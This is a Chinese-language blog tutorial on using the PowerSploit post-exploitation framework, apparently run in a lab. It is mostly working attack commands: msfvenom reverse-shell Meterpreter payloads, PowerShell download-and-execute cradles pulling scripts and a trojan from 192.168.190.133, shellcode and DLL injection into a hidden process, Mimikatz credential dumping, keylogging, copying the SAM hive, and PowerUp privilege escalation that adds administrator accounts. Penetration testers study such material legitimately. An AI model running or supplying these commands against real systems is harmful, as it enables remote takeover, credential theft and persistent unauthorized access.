PowerSploit 用法

 

 
PowerSploit
PowerSploit是基于PowerShell的后渗透框架,包含很多PowerShell攻击脚本,主要用于渗透中的信息侦查,权限提升,权限维持,github地址为: https://github.com/PowerShellMafia/PowerSploit
  1. 安装
    1. 下载程序目录
在浏览器输入 192.168.190.133:8080 即可看到PowerSploit各模块
  1. 各模块功能
    1. AntivirusBypass #发现杀毒软件的查杀特征
    2. CodeExecution #在目标主机上执行代码
    3. Exfiltration #目标主机上的信息收集工具
    4. Mayhem #蓝屏等破坏工具
    5. Persistence #后门脚本(持久性控制)
    6. Recon #以目标主机为跳板,进行内网信息侦查
    7. ScriptModification #在目标主机上创建或修改脚本
 
PowerSploit脚本攻击实战
Invoke-Shellcode – 常用于将ShellCode插入指定的进程ID或本地PowerShell中
 
(1). Invoke-Shellcode
1.启用后门模块exploit/multi/handler,并选择payload
windows/meterpreter/reverse_tcp
2.生成一个PowerShell脚本木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.190.133 lport=1521 -f powershell -o /root/test
3.在目标机器上下载脚本
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")
# 查找指定文件
Get-ChildItem C:\Windows\system32\ -Include "Invoke-Shellcode.ps1" -recurse
-Include:指定文件的扩展名 如果查找所有的txt,命令中输入“*.txt”
-recurse:设定查询方式
4.下载木马
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/test")
 
5.执行木马
Invoke-Shellcode -Shellcode ($buf) -Force
成功获得session
 
(2)注入进程
下载脚本以及木马
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")
 
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/test")
  1. 查看当前进程
Get-Process 或 ps
  1. 创建一个名为notepad的新进程,并设置为隐藏
  2. 要记住我们的进程号,可以看到我这里记事本的进程为3516
Start-Process C:\Windows\system32\notepad.exe -WindowStyle Hidden
  1. 使用Invoke-Shellcode脚本注入
Invoke-Shellcode -ProcessID 3516 -Shellcode($buf) -Force
反弹成功!
 
(3).dll注入
Invoke-DLLInjection – DLL注入脚本
1.首先下载脚本
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")
2.生成payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.190.133 lport=1521 -f dll -o /root/test.dll
3.下载dll文件
# dll 无法通过这种方式进行下载
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/test.dll")
我们通过web将dll 传输到目标主机
3.注入到现有的进程中
Invoke-DllInjection -ProcessID 2312 -Dll .\test.dll
 
 
 
(4)Invoke-Portscan – 端口扫描
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/PowerSploit/Recon/Invoke-Portscan.ps1")
用法:
Invoke-Portscan -Hosts 192.168.190.133,192.168.190.140 -Ports "80,22,3389"
 
(5)Invoke-Mimikatz – 获取Hash
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -DumpCreds
 
(6)Get-Keystrokes – 记录键盘
下载ps1:
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/PowerSploit/Exfiltration/Get-Keystrokes.ps1")
使用方法:
Get-Keystrokes -LogPath + <保存位置>
 
 
(7):Invoke-NinjaCopy-万能复制
 
可以用来复制一些系统无法复制的文件,如SAM文件。
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/PowerSploit/Exfiltration/Invoke-NinjaCopy.ps1")
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "C:\Users\Administrator\Desktop\SAM"
 
PowerUp攻击模块
是Privesc模块下的脚本,拥有众多用来寻找目标主机windows服务漏洞进行提权的使用脚本
IEX (New-Object Net.WebClient).DownloadString("http://192.168.190.133/PowerSploit/Privesc/PowerUp.ps1")
1.加载脚本
Import-Module .\PowerUp.ps1
2.常用模块
Invoke-AllChecks #自动执行PowerUp下所有的脚本来检查目标主机
命令:Invoke-AllChecks
由于输出内容较多,可以将结果导出分析
 
Find-PathDllHijack #检查当前%PATH%的哪些目录是用户可以写入的
命令:Find-PathDllHijack
Get-ApplicationHost #利用系统上的application.config文件恢复加密过的应用池和虚拟目录的密码
命令:Get-ApplicationHost
Get-Application | Format-Table –Autosize #列表显示
 
Get-RegistryAlwaysInstallElevated #检测AlwaysInstallElevated注册表是否被设置,如果被设置,意味着MSI文件是以SYSTEM权限运行的
命令:Get-RegistryAlwaysInstallElevated
Get-RegistryAutoLogon #检测windows注册表的AutoAdminLogon项有没有被设置,可查询被设置默认的用户名密码
命令:Get-RegistryAutoLogon
Get-ServiceDetail #返回某服务的信息
命令:Get-ServiceDetail –ServiceName DHCP #获取DHCP服务详细信息
Get-ServiceFilePermission #检测当前用户能够在哪些服务的目录写入相关的可执行文件(可以通过这些文件提权)
命令:Get-ServiceFilePermission
 
Test-ServiceDaclPermission #检测所有可用的服务,并尝试对这些打开的服务进行修改(若可修改,返回服务对象)
命令:Test-ServiceDaclPermission
 
Get-ServiceUnquoted #用于检查服务路径,返回包含空格但不带引号的服务路径
命令:Get-ServiceUnquoted
Get-UnattendedInstallFile #检查以下路径,查找是否存在这些文件(文件中可能包含部署凭据)
    1. C:\sysprep\sysprep.xml
    2. C:\sysprep\sysprep.inf
    3. C:\sysprep.inf
    4. C:\Windows\Panther\Unattended.xml
    5. C:\Windows\Panther\Unattend\Unattended.xml
    6. C:\Windows\Panther\Unattend.xml
    7. C:\Windows\Panther\Unatten\Unattend.xml
    8. C:\Windows\System32\Sysprep\unattend.xml
    9. C:\Windows\System32\Sysprep\Panther\unattend.xml
命令:Get-UnattendedInstallFile
Get-ModifiableRegistryAutoRun #检查开机自启动的应用程序路径和注册表键值,返回当前用户可修改的程序路径
命令:Get-ModifiableRegistryAutoRun
Get-ModifiableScheduledTaskFile #返回当前用户能够修改的计划任务程序的名称和路径
命令:Get-ModifiableScheduledTaskFile
Get-Webconfig #返回当前服务器上web.config文件中的数据库连接字符串的明文
命令:Get-Webconfig
Invoke-ServiceAbuse #修改服务来添加用户到指定组,并可以通过设置- Command参数触发添加用户的自定义命令
命令:Invoke-ServiceAbuse -ServiceName VulnSVC #添加默认账号
Invoke-ServiceAbuse -ServiceName VulnSVC -UserName “..” #指定添加的域账号
Invoke-ServiceAbuse -ServiceName VulnSVC -UserName <> -Password <> -LocalGroup “Administrator” #添加指定用户,密码到指定组
Invoke-ServiceAbuse -ServiceName VulnSVC -Command “..” #自定义执行命令
 
Restore-ServiceBinary #恢复服务的可执行文件到原始目录
命令:Restore-ServiceBinary -ServiceName VulnSVC
 
Test-ServiceDaclPermission #检查某个用户是否在服务中有自由访问控制的权限,结果返回布尔类型
命令:Test-ServiceDaclPermission -ServiceName VulnSVC
 
Write-HijackDll #输出一个自定义命令且能够自我删除的bat文件到$env:Temp\debug.bat,并输出一个能够启动这个bat文件的DLL
 
Write-UserAddMSL #生成一个安装文件,运行这个安装文件后会反弹添加用户的对话框
命令:Write-UserAddMSL
 
Write-ServiceBinary #用于预编译C#服务的可执行文件,默认创建一个管理员账号,可以通过Command自定义命令
命令:Write-ServiceBinary –ServiceName VulnSVC #添加默认账号
Write-ServiceBinary –ServiceName VulnSVC –UserName “..” #指定添加域账号
Write-ServiceBinary –ServiceName VulnSVC –UserName <> -Password <> #指定添加用户,密码到指定组
Write-ServiceBinary –ServiceName VulnSVC –Command “..” #自定义执行命令
 
Install-ServiceBinary #通过Write-ServiceBinary写一个C#的服务来添加用户,基本用法与Write-ServiceBinary相同
区别是,前者生成可执行文件,后者直接安装服务
posted @ 2019-10-22 00:12  micr067  阅读(376)  评论(0编辑  收藏  举报